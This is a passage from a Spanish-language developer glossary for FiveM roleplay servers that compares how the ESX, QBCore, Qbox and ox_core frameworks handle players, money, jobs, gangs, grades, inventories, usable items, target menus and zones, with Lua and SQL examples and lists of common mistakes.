    Player.Functions.AddMoney('bank', 500, 'comando-pagar')  -- banco
    print(Player.PlayerData.citizenid)        -- identificador
    print(Player.PlayerData.job.name)         -- trabajo
end)

-- ESX, lo mismo
-- local xPlayer = ESX.GetPlayerFromId(source)
-- xPlayer.addMoney(500)
-- xPlayer.addAccountMoney('bank', 500)
-- print(xPlayer.identifier)
-- print(xPlayer.getJob().name)

En qué se equivoca todo el mundo

  • Llamar a Player.Functions.AddMoney sin el tipo de cuenta. La firma es AddMoney('cash'|'bank'|'crypto', cantidad, motivo).
  • Leer el rango con Player.PlayerData.job.grade esperando un número. El número está en Player.PlayerData.job.grade.level.
  • Usar la API de ESX (xPlayer.addMoney) dentro de un servidor QBCore porque el script venía de un tutorial de ESX.
Qbox (qbx_core)Qbox

Fork moderno de QBCore reescrito sobre la stack de Overextended (ox_lib, ox_inventory, ox_target, oxmysql). No tiene objeto core, todo va por los exports de qbx_core.

Qbox es lo que elige hoy quien quiere una base tipo NoPixel moderna y mantenida. Conserva la forma de los datos de QBCore (PlayerData con job, gang, metadata) pero cambia las tripas por ox, así que los ítems son de ox_inventory, los callbacks de ox_lib y la interacción de ox_target.

El cambio de mentalidad más grande es que no existe GetCoreObject. No hay un objeto global que guardas en una variable, sino exports sueltos que llamas cuando los necesitas, y que reciben el source como primer argumento. Eso hace el código más explícito y evita el clásico core a nil al arrancar.

Qbox trae un bridge de compatibilidad con qb-core para que muchos recursos QBCore antiguos sigan funcionando. Úsalo para no reescribir tu servidor entero, pero escribe lo nuevo con qbx_core y ox directamente.

El orden de arranque en server.cfg importa mucho aquí. Primero oxmysql, luego ox_lib, ox_inventory, ox_target y por último qbx_core.

Ejemplo · QBCore contra Qbox, el mismo pago
-- QBCore: core object + métodos sobre el Player
local QBCore = exports['qb-core']:GetCoreObject()
local Player = QBCore.Functions.GetPlayer(src)
Player.Functions.AddMoney('bank', 500, 'nomina')
Player.Functions.SetJob('police', 2)

-- Qbox: exports directos, el source va como primer argumento
exports.qbx_core:AddMoney(src, 'bank', 500, 'nomina')
exports.qbx_core:SetJob(src, 'police', 2)   -- el grade es NÚMERO, nunca '2'

-- Y para leer datos sí hay objeto de jugador
local player = exports.qbx_core:GetPlayer(src)
print(player.PlayerData.citizenid, player.PlayerData.job.grade.level)

En qué se equivoca todo el mundo

  • Buscar exports.qbx_core:GetCoreObject(). No existe. En Qbox se llaman los exports uno a uno.
  • Usar qb-target o qb-menu en un servidor Qbox. La stack es ox, toca ox_target y ox_lib.
  • Dar los ítems con Player.Functions.AddItem. En Qbox el inventario es ox_inventory, así que va exports.ox_inventory:AddItem(src, item, count).
Relacionado QBCore, ox_core, ox_lib
ox_coreox

El framework del equipo Overextended, el más «ox-first» de todos. Usa el global Ox, trabaja con grupos en lugar de trabajos y se apoya por completo en ox_lib, ox_inventory, ox_target y oxmysql.

ox_core no intenta parecerse a ESX ni a QBCore. Rompe con ellos a propósito para quitarse la deuda técnica de ambos, y por eso lo eligen servidores nuevos que van a escribir su propio código en vez de instalar cien recursos de terceros.

Su diferencia conceptual más fuerte es que sustituye el job por el concepto de grupo. Un personaje puede pertenecer a varios grupos con distinto grado, así que no tienes que elegir entre ser policía o ser de una banda. El personaje se identifica por charId, no por identifier ni por citizenid.

El coste es el catálogo. Hay muchísimos menos recursos de terceros hechos para ox_core que para ESX o QBCore, así que asumes que vas a programar más. Si no quieres eso pero sí quieres la stack ox, Qbox es el punto intermedio.

Ejemplo · ox_core al lado de ESX y QBCore
-- ox_core (servidor)
local player = Ox.GetPlayer(source)
if not player then return end
print(player.charId)            -- identificador del personaje en ox_core

-- Grupos en vez de trabajos
player.setGroup('police', 2)

-- ESX:    xPlayer.setJob('police', 2)
-- QBCore: Player.Functions.SetJob('police', 2)
-- Qbox:   exports.qbx_core:SetJob(src, 'police', 2)

En qué se equivoca todo el mundo

  • Esperar que un recurso de ESX o QBCore funcione tal cual en ox_core. Las APIs no se parecen, hay que portarlo.
  • Buscar identifier o citizenid en ox_core. Ahí el personaje es charId.
  • Confundir ox_core (el framework) con ox_lib (la librería). ox_lib se usa con cualquier core, ox_core sustituye al core.
Relacionado ox_lib, Qbox (qbx_core), framework
ox_libESXQBCoreQboxoxStandalone

Librería de utilidades muy común en servidores modernos (menús, notificaciones, callbacks, zonas, caché e inputs). Funciona con cualquier framework y muchos recursos la exigen como dependencia.

ox_lib es la navaja suiza del ecosistema. No es un framework y no sustituye a ninguno, se pone por encima del que tengas. Por eso su código funciona igual en ESX, en QBCore, en Qbox y en un servidor sin core.

Lo que aporta lo tendrías que escribir tú a mano si no la usas. Notificaciones con lib.notify, menús contextuales con lib.registerContext y lib.showContext, formularios con lib.inputDialog, barras de progreso con lib.progressBar, minijuegos de habilidad con lib.skillCheck, zonas con lib.zones, callbacks con lib.callback y caché con cache.ped o cache.coords para no llamar a PlayerPedId() cada frame.

Para que exista la variable lib hay que importarla en el manifiesto con shared_script '@ox_lib/init.lua'. Si te olvidas, lib es nil y el recurso muere con «attempt to index a nil value (global 'lib')». Es el fallo número uno de quien la instala por primera vez.

Ejemplo · Importarla bien y usarla en cualquier framework
-- fxmanifest.lua
shared_script '@ox_lib/init.lua'   -- SIN esto, lib es nil

-- client.lua (vale igual en ESX, QBCore, Qbox u ox)
lib.notify({ description = 'Has cobrado la nómina', type = 'success' })

if lib.progressBar({
    duration = 3000,
    label = 'Registrando el vehículo...',
    canCancel = true,
    disable = { move = true, combat = true },
}) then
    -- completado
else
    -- cancelado
end

-- Caché en vez de llamar natives cada frame
local ped = cache.ped

En qué se equivoca todo el mundo

  • Olvidar shared_script '@ox_lib/init.lua' en el fxmanifest y comerse el error de lib nil.
  • Llamar a lib.callback.await durante la carga del recurso. Solo se puede dentro de un hilo o de un evento, si no cuelga.
  • Pensar que instalar ox_lib te da inventario o trabajos. Es una librería de utilidades, no un core.
objeto compartido (getSharedObject)ESX

El export de ESX Legacy para obtener el objeto compartido ESX de forma segura, exports['es_extended']:getSharedObject(). Usarlo evita el clásico error de ESX nil al arrancar.

El objeto compartido es el core de ESX metido en una variable. Es la puerta de entrada a todo lo demás, porque de él cuelgan GetPlayerFromId, RegisterServerCallback, RegisterUsableItem, ShowNotification y compañía. Sin él no tienes ESX, tienes nil.

Se llama compartido porque el mismo export existe en cliente y en servidor, aunque devuelve funciones distintas en cada lado. En cliente te da cosas como ESX.GetPlayerData() y ESX.ShowNotification, en servidor te da el acceso a los jugadores y a los callbacks.

El equivalente exacto en QBCore es GetCoreObject, y la trampa es la misma en los dos. Si lo pides antes de que el core haya arrancado, te devuelve nil y el recurso peta en la primera línea que lo use. Declara es_extended o qb-core en dependencies del fxmanifest y arráncalos antes en el server.cfg.

Ejemplo · El mismo concepto en los tres frameworks
-- ESX Legacy
ESX = exports['es_extended']:getSharedObject()
local xPlayer = ESX.GetPlayerFromId(source)

-- QBCore
local QBCore = exports['qb-core']:GetCoreObject()
local Player = QBCore.Functions.GetPlayer(source)

-- Qbox: no hay objeto compartido, se llama al export cuando hace falta
local player = exports.qbx_core:GetPlayer(source)

-- fxmanifest.lua del recurso que lo use
-- dependencies { 'es_extended' }   -- o { 'qb-core' } / { 'qbx_core' }

En qué se equivoca todo el mundo

  • Usar el evento antiguo TriggerEvent('esx:getSharedObject', cb). En Legacy ya no se dispara y ESX se queda nil.
  • Guardar el objeto en una variable global sin local y pisar el ESX de otro recurso.
  • Pedirlo en la raíz del script sin declarar la dependencia, así que se ejecuta antes de que es_extended esté started.
GetCoreObject (QBCore)QBCore

El export con el que QBCore te entrega su core, exports['qb-core']:GetCoreObject(). Es el equivalente al getSharedObject de ESX y de él cuelgan QBCore.Functions y QBCore.Shared.

Del objeto que devuelve cuelgan las dos ramas que vas a usar todo el rato. QBCore.Functions tiene lo que hace cosas (GetPlayer, CreateCallback, Notify, CreateUseableItem) y QBCore.Shared tiene los datos compartidos (los ítems declarados, los trabajos, las armas).

Ojo con el matiz de nombres, porque confunde a todo el mundo. GetCoreObject te da el core, no el jugador. Para el jugador hace falta un segundo paso con QBCore.Functions.GetPlayer(source) en servidor, o QBCore.Functions.GetPlayerData() en cliente, que es lo que la gente busca cuando escribe «GetPlayerData».

En Qbox este export no existe. Si vienes de QBCore y migras a Qbox, esta es la primera línea que tienes que cambiar en cada script.

Ejemplo · Core y jugador son dos pasos distintos
-- SERVIDOR
local QBCore = exports['qb-core']:GetCoreObject()   -- el core
local Player = QBCore.Functions.GetPlayer(source)   -- el jugador
if not Player then return end
print(Player.PlayerData.job.name)

-- CLIENTE: aquí no hay source, se piden los datos del jugador local
local QBCore = exports['qb-core']:GetCoreObject()
local PlayerData = QBCore.Functions.GetPlayerData()
print(PlayerData.job.name)

-- ESX equivalente en cliente
-- local data = ESX.GetPlayerData()

En qué se equivoca todo el mundo

  • Creer que GetCoreObject devuelve al jugador y hacer QBCore.PlayerData.job. El jugador sale de GetPlayer o de GetPlayerData.
  • Llamar a GetPlayerData en cliente nada más arrancar el recurso, antes del evento QBCore:Client:OnPlayerLoaded, y recibir una tabla vacía.
  • Portar un script de QBCore a Qbox dejando el GetCoreObject. En Qbox no existe.
xPlayerESX

El objeto de jugador de ESX en el servidor, que se obtiene con ESX.GetPlayerFromId(source). Sobre él cuelgan sus métodos (addMoney, setJob, addInventoryItem, getIdentifier).

xPlayer no es el ped ni el jugador de FiveM, es la ficha del personaje que mantiene ESX en memoria. Se pide siempre con el source del evento, que es el único dato de quién actúa en el que puedes confiar en el servidor.

Devuelve nil si ese source no corresponde a un personaje cargado, y eso pasa más de lo que crees (jugador que acaba de conectar, jugador que se acaba de ir, evento disparado por un cheater con una id inventada). Por eso el if not xPlayer then return end no es opcional.

En ESX Legacy la forma recomendada de leer sus datos son los getters (getJob, getMoney, getAccount, getInventoryItem) en lugar de los campos crudos. El campo xPlayer.identifier sí se lee directamente, y es la license del jugador.

Su equivalente es Player en QBCore y Qbox, y player en ox_core. Cambia el nombre y cambia dónde viven los datos, pero la idea es idéntica.

Ejemplo · El objeto de jugador en los tres frameworks
-- ESX
local xPlayer = ESX.GetPlayerFromId(src)
if not xPlayer then return end
xPlayer.addMoney(500)
local trabajo = xPlayer.getJob().name
local cuantos = xPlayer.getInventoryItem('water').count

-- QBCore
local Player = QBCore.Functions.GetPlayer(src)
if not Player then return end
Player.Functions.AddMoney('cash', 500, 'motivo')
local trabajo = Player.PlayerData.job.name
local cuantos = Player.Functions.GetItemByName('water').amount

-- Qbox
local player = exports.qbx_core:GetPlayer(src)
local cuantos = exports.ox_inventory:GetItemCount(src, 'water')

En qué se equivoca todo el mundo

  • No validar el nil. GetPlayerFromId devuelve nil si el personaje no está cargado y ahí nace el «attempt to index a nil value».
  • Fiarte de una id que te manda el cliente dentro de los datos del evento en vez de usar la variable source.
  • Guardar el xPlayer en una variable global entre eventos. Al reconectar el jugador ese objeto ya no vale, hay que volver a pedirlo.
Player (QBCore)QBCoreQbox

El objeto de jugador de QBCore y Qbox. Sus datos viven en Player.PlayerData (job, gang, money, charinfo, metadata) y sus acciones en Player.Functions (AddMoney, SetJob, AddItem).

La separación entre PlayerData y Functions es lo que hay que interiorizar. Todo lo que se lee está en PlayerData, todo lo que modifica está en Functions. Si intentas escribir directamente en PlayerData.money.cash no lo guarda en base de datos ni avisa a nadie, así que el cambio se pierde y la economía se descuadra.

PlayerData es una tabla bastante rica comparada con ESX. Ahí tienes citizenid, charinfo con nombre y apellidos, job con su grade, gang, money con cash y bank, y metadata con hambre, sed, estrés o lo que tú añadas.

En Qbox el objeto es el mismo por dentro, pero se pide con exports.qbx_core:GetPlayer(src) y muchas operaciones tienen además su export directo que ahorra el paso intermedio.

Ejemplo · Leer con PlayerData, escribir con Functions
local Player = QBCore.Functions.GetPlayer(src)
if not Player then return end

-- LEER
local cid   = Player.PlayerData.citizenid
local job   = Player.PlayerData.job.name
local nivel = Player.PlayerData.job.grade.level    -- el número está aquí
local cash  = Player.PlayerData.money.cash
local nombre = Player.PlayerData.charinfo.firstname .. ' ' .. Player.PlayerData.charinfo.lastname

-- ESCRIBIR (nunca tocando PlayerData a pelo)
Player.Functions.AddMoney('bank', 500, 'nomina')
Player.Functions.SetJob('police', 2)
Player.Functions.SetMetaData('stress', 50)

En qué se equivoca todo el mundo

  • Asignar a mano Player.PlayerData.money.cash = 1000. No persiste, hay que usar Player.Functions.AddMoney o SetMoney.
  • Leer el rango con job.grade en lugar de job.grade.level y acabar comparando una tabla con un número.
  • Traducir xPlayer.getJob() por Player.Functions.GetJob(). Esa función no existe, el trabajo se lee en Player.PlayerData.job.
Relacionado xPlayer, QBCore, metadata del jugador
metadata del jugadorESXQBCoreQbox

Datos libres pegados al personaje que el framework guarda y restaura solo (hambre, sed, estrés, si está esposado, licencias). En QBCore y Qbox es nativa, en ESX Legacy se hace con getMeta y setMeta o con recursos aparte.

La metadata resuelve un problema muy concreto. Quieres guardar algo del personaje que el framework no contempla (los puntos de una banda, el nivel de un oficio, si tiene una lesión) y no te apetece crear una tabla nueva en la base de datos ni gestionar su carga y su guardado.

En QBCore y Qbox es de primera clase. Se lee en Player.PlayerData.metadata y se escribe con Player.Functions.SetMetaData(clave, valor), y el core la persiste con el resto del personaje.

En ESX no fue nativa durante años, y ese es el origen de esx_status y de media docena de recursos de hambre y sed. ESX Legacy moderno sí expone getMeta y setMeta sobre el xPlayer, pero antes de usarlos comprueba que tu versión los tiene, porque muchos servidores corren un Legacy más antiguo que no.

No la uses como cajón de sastre. Todo lo que metes ahí se carga y se guarda con cada personaje, así que meter tablas gigantes te acaba costando rendimiento en cada conexión.

Ejemplo · La misma hambre en tres frameworks
-- QBCore
local hambre = Player.PlayerData.metadata['hunger']
Player.Functions.SetMetaData('hunger', 100)

-- Qbox
local hambre = player.PlayerData.metadata.hunger
player.Functions.SetMetaData('hunger', 100)

-- ESX Legacy 1.9+ (si tu versión lo trae)
local hambre = xPlayer.getMeta('hunger')
xPlayer.setMeta('hunger', 100)
-- Si tu ESX es anterior, esto lo aporta esx_status, no el core.

En qué se equivoca todo el mundo

  • Dar por hecho que xPlayer.getMeta existe en cualquier ESX. En versiones antiguas no está y te devuelve «attempt to call a nil value».
  • Guardar objetos enormes en la metadata (historiales, listas de cientos de entradas) y ralentizar la carga del personaje.
  • Escribir metadata desde el cliente. Como todo lo que da ventaja, se escribe en el servidor y solo tras validar.
Relacionado Player (QBCore), xPlayer, job (empleo)
job (empleo)ESXQBCoreQboxox

El trabajo del personaje (police, ambulance, mechanic) con su rango asociado. Es lo que usan los scripts para decidir quién puede abrir la armería, sacar un coche de servicio o cobrar la nómina.

El job es el sistema de permisos del roleplay. No es lo mismo que los permisos ACE del servidor, que son para administración. El job dice qué puede hacer tu personaje dentro de la ficción, y casi todos los recursos de trabajos lo comprueban en el servidor antes de dejarte hacer nada.

Dónde vive cambia según el framework. En ESX los trabajos están en base de datos, en las tablas jobs y job_grades, así que crear uno es un INSERT y reiniciar es_extended. En QBCore y Qbox son código, viven en shared/jobs.lua, así que crear uno es editar un fichero y reiniciar el core.

QBCore y Qbox añaden dos cosas que ESX no tiene de serie. El estado de servicio (job.onduty) para separar al policía que está trabajando del que va de paisano, y el pago fuera de servicio (offDutyPay). En ESX el duty lo aporta el recurso de policía o de ambulancia, no el core.

Comprueba siempre el job en el SERVIDOR. Si lo compruebas solo en cliente, cualquiera con un menú de trampas se pone de policía y te abre la armería.

Ejemplo · Leer y asignar el trabajo en cada framework
-- LEER
-- ESX
local job = xPlayer.getJob().name          -- y .grade (número), .grade_name, .grade_label
-- QBCore
local job = Player.PlayerData.job.name     -- y .grade.level, .grade.name, .onduty
-- Qbox
local job = player.PlayerData.job.name     -- y .grade.level, .onduty

-- ASIGNAR (siempre en servidor, el grade es NÚMERO)
xPlayer.setJob('police', 2)                       -- ESX
Player.Functions.SetJob('police', 2)              -- QBCore
exports.qbx_core:SetJob(src, 'police', 2)         -- Qbox
-- ox_core usa grupos: player.setGroup('police', 2)

En qué se equivoca todo el mundo

  • Pasar el grade como texto, setJob('police', '2'). Siempre es número, con comillas falla.
  • Buscar Player.PlayerData.job.onduty en ESX. No existe, ESX Legacy no trae duty nativo.
  • Validar el trabajo solo en el cliente y dejar el evento de servidor abierto a cualquiera.
gang (banda)QBCoreQbox

El equivalente criminal del job en QBCore y Qbox, con su propio nombre y rango, y que convive con el trabajo legal del personaje. ESX no tiene bandas nativas.

La gracia de la gang es que es un carril paralelo al job. Un personaje puede ser mecánico y a la vez miembro de una banda, y los scripts pueden comprobar una cosa o la otra sin que se pisen. Vive en Player.PlayerData.gang, se declara en shared/gangs.lua y se asigna con SetGang.

Las bandas no pagan nómina. En la tabla de grades de una gang no se pone payment, porque su economía sale del rol y de lo que roben, no de un salario del Estado.

En ESX no existe el concepto. Si quieres bandas con ESX tienes dos caminos, montarlas como un job normal (y renunciar a que el personaje tenga trabajo legal a la vez) o instalar un recurso de gangs aparte que lo gestione por su cuenta.

Ejemplo · Bandas en QBCore y Qbox, y cómo se emulan en ESX
-- QBCore / Qbox: leer
local banda = Player.PlayerData.gang.name
local rango = Player.PlayerData.gang.grade.level

-- Asignar (servidor)
Player.Functions.SetGang('lostmc', 1)             -- QBCore
exports.qbx_core:SetGang(src, 'lostmc', 1)        -- Qbox

-- qb-core/shared/gangs.lua (sin payment: las gangs no cobran salario)
-- ['lostmc'] = {
--     label = 'The Lost MC',
--     grades = {
--         ['0'] = { name = 'Prospecto' },
--         ['1'] = { name = 'Miembro' },
--         ['2'] = { name = 'Presidente', isboss = true },
--     },
-- },

-- ESX: no hay gangs. Se monta como un job normal en las tablas jobs y job_grades.

En qué se equivoca todo el mundo

  • Buscar xPlayer.getGang() en ESX. No existe, ESX no tiene bandas nativas.
  • Poner payment en los grades de una gang esperando que cobren. Las bandas no tienen nómina.
  • Comprobar la banda en el cliente para abrir un alijo. Igual que el job, se valida en el servidor.
grade (rango del job)ESXQBCoreQbox

El nivel del personaje dentro de su trabajo o banda, siempre un número (0 el más bajo). Define el salario, el acceso al menú de jefe y qué puede hacer dentro del job.

El grade es el número que más errores tontos provoca en FiveM. Se pasa como número, nunca como texto, y setJob('police', '2') falla en los tres frameworks sin decirte muy bien por qué.

Dónde se lee cambia y ahí está la segunda trampa. En ESX el número está en xPlayer.getJob().grade, y aparte tienes grade_name y grade_label para el nombre corto y el visible. En QBCore y Qbox job.grade es una TABLA, y el número está dentro, en job.grade.level. Si comparas job.grade con 2 en QBCore estás comparando una tabla con un número, así que nunca es verdad.

El grade también es donde se marca quién manda. En QBCore y Qbox se pone isboss = true en el grade que corresponda y el menú de jefe aparece solo. En ESX el jefe es el grade más alto de la sociedad, y hay que registrarla aparte.

Ejemplo · El mismo número en tres sitios distintos
-- ESX: el grade ES el número
if xPlayer.getJob().grade >= 3 then
    -- mando
end

-- QBCore / Qbox: el número está en grade.level
if Player.PlayerData.job.grade.level >= 3 then
    -- mando
end

-- ERROR clásico en QBCore (compara tabla con número, nunca entra)
-- if Player.PlayerData.job.grade >= 3 then ... end

-- Asignar: NÚMERO, no string
xPlayer.setJob('police', 2)                  -- ESX
Player.Functions.SetJob('police', 2)         -- QBCore
exports.qbx_core:SetJob(src, 'police', 2)    -- Qbox

En qué se equivoca todo el mundo

  • Pasar el grade entre comillas ('2'). Siempre número.
  • Usar job.grade en QBCore como si fuera el nivel. El nivel es job.grade.level.
  • Dar por hecho que el grade 0 no existe. El 0 es el rango más bajo, no la ausencia de trabajo.
Relacionado job (empleo), sociedad y boss menu, gang (banda)
sociedad y boss menuESXQBCoreQbox

La caja y la gestión de una empresa dentro del rol (contratar, despedir, ver la banca). En ESX es una sociedad con su addon_account, en QBCore y Qbox sale sola del grade marcado con isboss.

El concepto es el mismo en todos. Un trabajo necesita una cuenta común donde entra lo que factura y de donde sale lo que se paga, y necesita que el jefe pueda contratar, despedir y sacar dinero. Lo que cambia es cuánto trabajo te cuesta montarlo.

En ESX es explícito y va por base de datos. La sociedad son tres piezas, una cuenta de dinero en addon_account con su fila en addon_account_data, un inventario compartido en addon_inventory, y el registro de la sociedad con el evento esx_society:registerSociety al arrancar tu recurso. Requiere esx_addonaccount, esx_addoninventory y esx_society. El type 'private' la oculta de los listados públicos, que es lo que quieres en un job whitelisted.

En QBCore y Qbox no hay SQL que ejecutar. Marcas isboss = true en el grade del jefe dentro de shared/jobs.lua y qb-management o qbx_management le da el menú con contratar, despedir y la banca de la empresa.

En los dos casos la cuenta de sociedad es dinero real del servidor. Todo lo que la toque se valida en el servidor comprobando job y grade, o cualquiera con un evento suelto te vacía la caja de la policía.

Ejemplo · ESX necesita crear la sociedad a mano. QBCore no
-- ESX: cuenta e inventario de la sociedad (requiere esx_addonaccount + esx_addoninventory + esx_society)
INSERT INTO addon_account (account_name, name, shared) VALUES ('society_mechanic', 'Mecánico', 1)
  ON DUPLICATE KEY UPDATE name = VALUES(name);

INSERT INTO addon_account_data (account_name, money, owner)
  SELECT 'society_mechanic', 0, NULL FROM DUAL
  WHERE NOT EXISTS (SELECT 1 FROM addon_account_data WHERE account_name = 'society_mechanic' AND owner IS NULL);

INSERT INTO addon_inventory (name, label, shared) VALUES ('society_mechanic', 'Mecánico', 1)
  ON DUPLICATE KEY UPDATE label = VALUES(label);

-- Y en server.lua, al arrancar el recurso:
-- TriggerEvent('esx_society:registerSociety', 'mechanic', 'Mecánico',
--   'society_mechanic', 'society_mechanic', 'society_mechanic', { type = 'public' })

-- QBCore / Qbox: nada de SQL. En shared/jobs.lua basta con
--   [2] = { name = 'Jefe', payment = 2000, isboss = true },
-- y qb-management / qbx_management le da el boss menu.

En qué se equivoca todo el mundo

  • Crear la sociedad en ESX y no reiniciar esx_addonaccount, esx_addoninventory y esx_society. Hasta que no reinicies, la sociedad no existe.
  • Insertar en addon_account y olvidar la fila de addon_account_data. La cuenta aparece pero no tiene saldo con el que operar.
  • Ningún grade con isboss = true en QBCore y luego preguntarse por qué no sale el boss menu.
inventarioESXQBCoreQboxox

El sistema que guarda lo que el personaje lleva encima y lo persiste al desconectar. Hoy la opción estándar es ox_inventory, que sustituye al inventario nativo tanto de ESX como de QBCore.

Aquí está la regla que más gente incumple. Si el servidor tiene ox_inventory instalado, los ítems van por SUS exports aunque el core sea ESX o QBCore. Seguir usando xPlayer.addInventoryItem o Player.Functions.AddItem con ox_inventory delante lleva a ítems fantasma, descuadres y duplicaciones.

Los tres mundos que te vas a encontrar son el inventario nativo de ESX (ítems declarados en la tabla items de la base de datos, con peso por unidad), el nativo de QBCore (declarados en qb-core/shared/items.lua, con imagen y flag useable) y ox_inventory (declarados en ox_inventory/data/items.lua, con slots, peso real y metadata por ítem).

ox_inventory es el que usan Qbox y ox_core por defecto, y es a lo que migran casi todos los servidores ESX y QBCore serios. Su ventaja no es solo la interfaz, es la metadata por ítem (un móvil con su número, una bolsa con su contenido, un arma con su munición y su serie) y unos hooks que te dejan validar cada movimiento.

Para saber cuál tienes, mira los recursos del servidor. Si aparece ox_inventory, esa es la verdad, y da igual lo que diga el core.

Ejemplo · Dar, quitar y contar un ítem en cada inventario
-- ESX (inventario nativo)
xPlayer.addInventoryItem('water', 1)
xPlayer.removeInventoryItem('water', 1)
local n = xPlayer.getInventoryItem('water').count

-- QBCore (inventario nativo)
Player.Functions.AddItem('water', 1)
Player.Functions.RemoveItem('water', 1)
local n = Player.Functions.GetItemByName('water').amount

-- ox_inventory (SERVIDOR). Vale con cualquier core: ESX, QBCore, Qbox u ox.
exports.ox_inventory:AddItem(src, 'water', 1)
exports.ox_inventory:RemoveItem(src, 'water', 1)
local n = exports.ox_inventory:GetItemCount(src, 'water')

-- Antes de dar algo pesado, comprueba que le cabe
if exports.ox_inventory:CanCarryItem(src, 'water', 1) then
    exports.ox_inventory:AddItem(src, 'water', 1)
end

En qué se equivoca todo el mundo

  • Usar el AddItem del core teniendo ox_inventory instalado. Los ítems que crees así no cuadran con el inventario real.
  • Declarar el ítem en un sitio y darlo desde otro. Si el ítem no existe en la definición del inventario que manda, no se entrega y no siempre avisa.
  • Dar ítems desde el cliente. Todo lo que tiene valor se entrega en el servidor y tras validar.
ítem y ítem usableESXQBCoreQboxox

Un ítem es un objeto declarado en el inventario (nombre, etiqueta, peso). Es usable cuando al pulsarlo dispara código, y ahí es donde cada framework hace algo distinto.

Crear un ítem son siempre dos pasos, declararlo y darle un comportamiento. Declararlo es decirle al inventario que ese nombre existe, y sin eso no se puede ni entregar. Darle comportamiento es lo que pasa cuando el jugador lo usa.

El primer paso cambia de sitio en cada inventario. En ESX es una fila en la tabla items de la base de datos. En QBCore es una entrada en QBShared.Items dentro de qb-core/shared/items.lua con useable = true. En ox_inventory es una entrada en ox_inventory/data/items.lua.

El segundo paso es donde está la trampa. ESX lo registra en código con ESX.RegisterUsableItem y QBCore con QBCore.Functions.CreateUseableItem, los dos en el servidor. Pero ox_inventory NO usa ninguna de las dos, define el efecto dentro de la propia declaración del ítem, en el bloque client con status, anim, prop o export. Si tienes ox_inventory y escribes un RegisterUsableItem, no se ejecuta nunca.

El nombre del ítem es la clave que lo une todo. Tiene que ser idéntico en la declaración, en el código que lo da y en el que lo consume, en minúsculas y sin espacios.

Ejemplo · El mismo agua, declarada y usable en tres sistemas
-- ESX (servidor): el ítem existe en la tabla items de la BD
ESX.RegisterUsableItem('water', function(src)
    local xPlayer = ESX.GetPlayerFromId(src)
    xPlayer.removeInventoryItem('water', 1)
    TriggerClientEvent('esx:showNotification', src, 'Has bebido agua')
end)

-- QBCore (servidor): el ítem está en qb-core/shared/items.lua con useable = true
QBCore.Functions.CreateUseableItem('water', function(src, item)
    local Player = QBCore.Functions.GetPlayer(src)
    if not Player.Functions.GetItemByName(item.name) then return end
    Player.Functions.RemoveItem('water', 1, item.slot)
    TriggerClientEvent('QBCore:Notify', src, 'Has bebido agua')
end)

-- ox_inventory: NO se usa RegisterUsableItem. El efecto va en data/items.lua
-- ['water'] = {
--     label = 'Agua',
--     weight = 500,
--     stack = true,
--     close = true,
--     client = {
--         status = { thirst = 200000 },
--         anim = 'drinking',
--         usetime = 2500,
--     },
-- },

En qué se equivoca todo el mundo

  • Escribir un RegisterUsableItem o un CreateUseableItem en un servidor con ox_inventory. Nunca se dispara, el uso se define en data/items.lua.
  • Declarar el ítem con useable = true en QBCore y no crear el CreateUseableItem. El ítem se puede pulsar pero no hace nada.
  • Poner el ítem en el inventario y olvidar la imagen. En qb-inventory, un ítem sin PNG se ve roto aunque funcione.
target (ox_target, qb-target)ESXQBCoreQboxox

El sistema de interacción por mirada. Apuntas a una entidad o a una zona y aparece un menú de acciones contextuales, en vez de tener que buscar una tecla o un marcador.

El target sustituyó a los markers y a los bucles de distancia por dos razones. La primera es de jugador, porque descubres lo que puedes hacer con algo simplemente mirándolo. La segunda es de rendimiento, porque en vez de que veinte recursos comprueben cada frame la distancia a sus puntos, el target lo resuelve una vez para todos.

Hoy hay dos vivos. ox_target es el estándar moderno y es obligatorio en Qbox y ox_core. qb-target es el clásico de QBCore, sigue funcionando y muchos recursos lo piden. Los dos hacen lo mismo pero con nombres y firmas distintos, y la diferencia que más despista es cómo se restringe una acción por trabajo, groups en ox_target y job en qb-target.

Cualquiera de los dos funciona con cualquier core. Puedes tener ESX con ox_target sin problema, y de hecho es una combinación muy común.

Ejemplo · La misma acción sobre un cajero en ox_target y en qb-target
-- ox_target (cliente): sobre modelos
exports.ox_target:addModel({ 'prop_atm_01', 'prop_atm_02' }, {
    {
        name = 'mi_recurso:abrirCajero',
        icon = 'fas fa-credit-card',
        label = 'Usar cajero',
        groups = { 'police' },          -- restricción por trabajo: 'groups'
        distance = 2.0,
        onSelect = function()
            TriggerEvent('mi_recurso:abrirCajero')
        end,
    },
})

-- qb-target (cliente): mismo resultado, otra firma
exports['qb-target']:AddTargetModel({ 'prop_atm_01', 'prop_atm_02' }, {
    options = {
        {
            type = 'client',
            event = 'mi_recurso:abrirCajero',
            icon = 'fas fa-credit-card',
            label = 'Usar cajero',
            job = { 'police' },          -- restricción por trabajo: 'job'
        },
    },
    distance = 2.0,
})

En qué se equivoca todo el mundo

  • Instalar qb-target en un servidor Qbox. La stack es ox, ahí va ox_target.
  • Confiar en el filtro de trabajo del target como seguridad. Es solo interfaz, el evento del servidor tiene que volver a comprobar el job.
  • Registrar el target dentro de un bucle o en un evento que se repite y acabar con la misma opción duplicada veinte veces.
Relacionado PolyZone y zonas, job (empleo), ox_lib
PolyZone y zonasESXQBCoreQboxoxStandalone

Las zonas son regiones del mapa que detectan cuándo el jugador entra o sale. PolyZone es la librería clásica (BoxZone, CircleZone), y hoy lo moderno es lib.zones de ox_lib.

Una zona te evita el peor patrón de FiveM, el bucle que calcula distancias cada frame. En lugar de eso declaras la región una vez y te avisan al entrar y al salir, así que el coste en resmon cae a casi cero cuando el jugador está lejos.

PolyZone es la librería veterana. Creas la zona con BoxZone:Create o CircleZone:Create y enganchas onPlayerInOut, y muchos recursos de QBCore todavía dependen de ella. Requiere declararla en el fxmanifest del recurso que la use.

En servidores modernos la sustituye lib.zones de ox_lib, que hace lo mismo con box, sphere o poly, con onEnter, onExit e inside, y sin instalar una librería extra si ya tienes ox_lib. Y si lo que quieres es un menú de acciones y no solo detectar la entrada, entonces lo que buscas es el target, no una zona.

Ejemplo · La misma zona en PolyZone y en ox_lib
-- PolyZone (clásico, requiere PolyZone en el fxmanifest)
local zone = CircleZone:Create(vector3(-1105.0, -833.0, 19.0), 2.5, {
    name = 'zona_tienda',
    useZ = true,
})

zone:onPlayerInOut(function(isPointInside)
    if isPointInside then
        exports['qb-core']:DrawText('[E] Abrir tienda', 'left')
    else
        exports['qb-core']:HideText()
    end
end)

-- ox_lib (moderno, sin librería extra si ya usas ox_lib)
lib.zones.sphere({
    coords = vec3(-1105.0, -833.0, 19.0),
    radius = 2.5,
